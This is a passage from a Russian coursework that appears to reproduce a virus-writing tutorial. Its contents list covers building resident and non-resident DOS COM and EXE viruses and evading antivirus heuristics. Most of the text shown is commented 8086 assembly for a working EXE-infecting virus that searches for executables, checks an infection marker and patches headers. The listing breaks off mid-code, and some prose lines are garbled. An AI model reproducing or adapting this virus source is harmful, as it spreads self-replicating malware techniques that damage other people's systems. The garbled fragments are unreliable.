Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
mov ah,1ah ;Восстановим
mov dx,080h ;адрес DTA зара-
mov bp,es ;женной програм-
mov ds,bp ;мы с помощью
int 21h ;функции DOS 1Ah
pop ds ;DS <- из стека
В этом фрагменте адрес DTA устанавливается с помо-
щью функции DOS 1Ah ( см.ПРИЛОЖЕНИЕ 1).Новый адрес
должен быть помещен в DS : DX, что мы и сделали .
Команда " push ds " записывает в стек содержимое
регистра DS, так как этот регистр используется для
задания адреса,и поэтому его значение будет испор-
чено .
1.12 Восстанавливаем точку входа
Далее необходимо передать управление зараженной
программе ( конечно, не только что зараженной, а
той, из которой стартовал вирус ) .Для этого нужно
восстановить ее исходную точку входа,а также пере-
ключить стек с вирусной области данных на стек,
предусмотренный разработчиком программы .
Чтобы произвести все необходимые вычисления,мы ис-
пользуем параметры заголовка программы, сохранен-
ные ранее в ячейках " my_XX " .
При передаче управления на код вируса в регистр CS
было помещено такое значение : CS = NS0 + 10h +
+ Header [16h], и это значение нам известно - оно
сейчас находится в CS .С другой стороны, настоящая
точка входа EXE - программы имеет сегментный адрес
CS = NS0 + 10h + my_cs . Таким образом, достаточно
узнать, чему равна сумма : NS0 + 10h, и прибавить
к ней " my_cs " .Такая же ситуация возникает и при
восстановлении регистра SS, только здесь к NS0 +
+ 10h нужно прибавить " my_ss " .Проще всего вос-
становить регистр DS, поскольку при загрузке EXE -
файла соблюдается условие : ES = DS = NS0.Для ини-
циализации SP и IP можно просто записать в них чи-
сла,хранящиеся в переменных " my_sp " и " my_ip ",
не производя при этом каких - либо сложных расче-
тов .С учетом этих соображений можно записать :
mov ax,my_ip
mov old_ip,ax
mov ax,my_cs
mov old_cs,ax
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax ;Инициализируем
mov ax,cs ;Найдем
sub ax,to_16h ;NS0 + 10h ...
add my_ss,ax ;Вычислим SS ...
mov ss,my_ss ;
add ax,old_cs ;Вычислим CS ...
mov old_cs,ax ;
mov ax,es ;Инициализируем
mov ds,ax ;регистр DS ...
jmp $ + 2 ;Сбросим очередь
db 0eah ;И перейдем к
old_ip dw 0 ;исполнению
old_cs dw 0 ;программы ...
Команда
перехода к исполнению
виде
машинного кода,чтобы при
жно было модифицировать .
И еще - вы , вероятно, помните, что символами
" NS0
" мы обозначили начальный
1.13 Область данных вируса
Приведем данные, которыми оперирует уже почти соз-
данный нами EXE - вирус :
new_dta db 128 dup (0)
maska db '*.exe',0
fn db 12 dup (' '),0
header db 27 dup ( 0 )
descrypt dw 0 ;Ячейка для дес-
to_02h dw 0 ;Эти ячейки ис-
to_04h dw 0 ;пользуются для
to_16h dw 0 ;хранения пара-
my_ip dw 0 ;метров заголо-
my_cs dw 0 ;вка заражаемой
my_16h dw 0 ;программы и
my_ss dw 0 ;той, из которой
my_sp dw 0 ;стартовал
old_ss dw 0 ;вирус
old_sp dw 0 ;
f_seek_low dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
new_stack dw 50 dup ( 0 )
last db 0 ;Сюда помещается
db '7' ;Последний байт
1.14 Используемые процедуры
Осталось только привести тексты процедур, которыми
пользуется вирус, и работа почти закончена . Они
выглядят так :
setpointer proc ;Процедура уста-
mov ax,4200h ;навливает ука-
mov bx,descrypt ;затель в файле
int 21h ;на заданный
ret ;байт ...
setpointer endp
read proc ;Процедура чте-
mov ah,3fh ;ния из файла...
mov bx,descrypt
int 21h
ret
read endp
write proc ;Процедура за-
mov ah,40h ;писи в файл ...
mov bx,descrypt
int 21h
ret
write endp
mover proc ;Процедура умно-
mov cx,04h ;жения двойного
left: shl dx,1 ;слова CX : DX
shl ax,1 ;на 16 методом
adc dx,00h ;сдвига ...
loop left ;
ret ;
mover endp
Приведенные процедуры очень просты и довольно эф-
фективны . Процедура " mover " , как уже говори-
лось,взята из книги П .Абеля " Язык ассемблера для
IBM PC и программирования ", естественно,без раз-
решения автора .
1.15 Работа завершена
Только что мы разработали вирусную программу, за-
ражающую EXE - файлы.Последний штрих - напишем не-
сколько строк, почти стандартных для всех ассемб-
лерных программ :
vir_len equ $-vir
prg ends
end vir
1.16 Полный текст нерезидентного EXE - вируса
Для лучшего понимания всего изложенного в этой
главе приведем полный текст написанной нами про-
граммы :
; ______________________________
;|
;| Non - TSR EXE virus
;| Especially for my readers ! |
;|____________________________
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
vir: mov ax,cs ;AX = CS ...
db 2dh ;SUB AX,00h
sub_ds dw 0 ;
mov ds,ax ;
mov ss,ax ;
mov ah,1ah ;Переключим DTA
lea dx,new_dta ;на соответству-
int 21h ;области данных
mov ax,old_ip ;Скопируем исхо-
mov my_ip,ax ;дные параметры
mov ax,old_cs ;заголовка зара-
mov my_cs,ax ;женной програм-
mov ax,to_16h ;мы в ячейки па-
mov my_16h,ax ;мяти " my_XX ",
mov ax,old_ss ;так как ячейки
mov my_ss,ax ;" old_XX ", в
mov ax,old_sp ;которых хранят-
mov my_sp,ax ;ся параметры,
;будут испорчены
find_first:mov ah,4eh ;Поиск первого
mov cx,00100110b ;файла :
lea dx,maska ;archive, system
int 21h ;hidden ...
jnc r_3
jmp restore_dta
find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc r_2
jmp restore_dta
r_2: mov ah,4fh ;Поиск следующе-
int 21h ;го ...
jnc r_3
jmp restore_dta
r_3: mov cx,12 ;Очистим об-
lea si,fn ;ласть " fn "
kill_name: mov byte ptr [si],0
inc si
loop kill_name
xor si,si ;И перепишем
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0 ;туда имя най-
je open_file ;денного файла
mov byte ptr fn[si],al
inc si
jmp copy_name
open_file: mov ax,3d02h ;Откроем файл
lea dx,fn ;для чтения и
int 21h ;записи ...
jnc found_size
jmp r_2
found_size:mov descrypt,ax ;Определим раз-
mov cx,word ptr [new_dta + 01ch]
mov dx,word ptr [new_dta + 01ah]
sub dx,1 ;мер файла и вы-
sbb cx,0 ;чтем из него
call setpointer ;Установим ука-
read_last: mov cx,1 ;Прочитаем
lea dx,last ;последний
call read ;символ ...
jnc compar
jmp close_file
compar: cmp last,'7' ;Это "семерка" ?
jne mmm ;Нет
to_next: jmp find_next ;Да ! Файл уже
mmm: xor cx,cx ;Установим ука-
xor dx,dx ;затель на нача-
call setpointer ;ло файла ...
mov ah,3fh ;И считаем инте-
mov bx,descrypt ;ресующую нас
mov cx,27 ;часть заголовка
lea dx,header ;раз занимает 27
int 21h ;байт...
jnc next_step ;
jmp restore_dta ;Ошибка чтения !
next_step: mov ax,word ptr header[14h]
mov old_ip,ax
mov ax,word ptr header[16h]
mov old_cs,ax
mov ax,word ptr header[0eh]
mov old_ss,ax
mov ax,word ptr header[10h]
mov old_sp,ax
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h
jna good_size
jmp find_next
good_size: mov bp,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Это число запи-
;[16h]
mov ax,bp
xor dx,dx
call mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch]
jl to_next
ja infect
cmp ax,word ptr [new_dta + 01ah]
jl to_next
infect: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je round
inc ax
round: mov to_04h,ax ;Это число запи-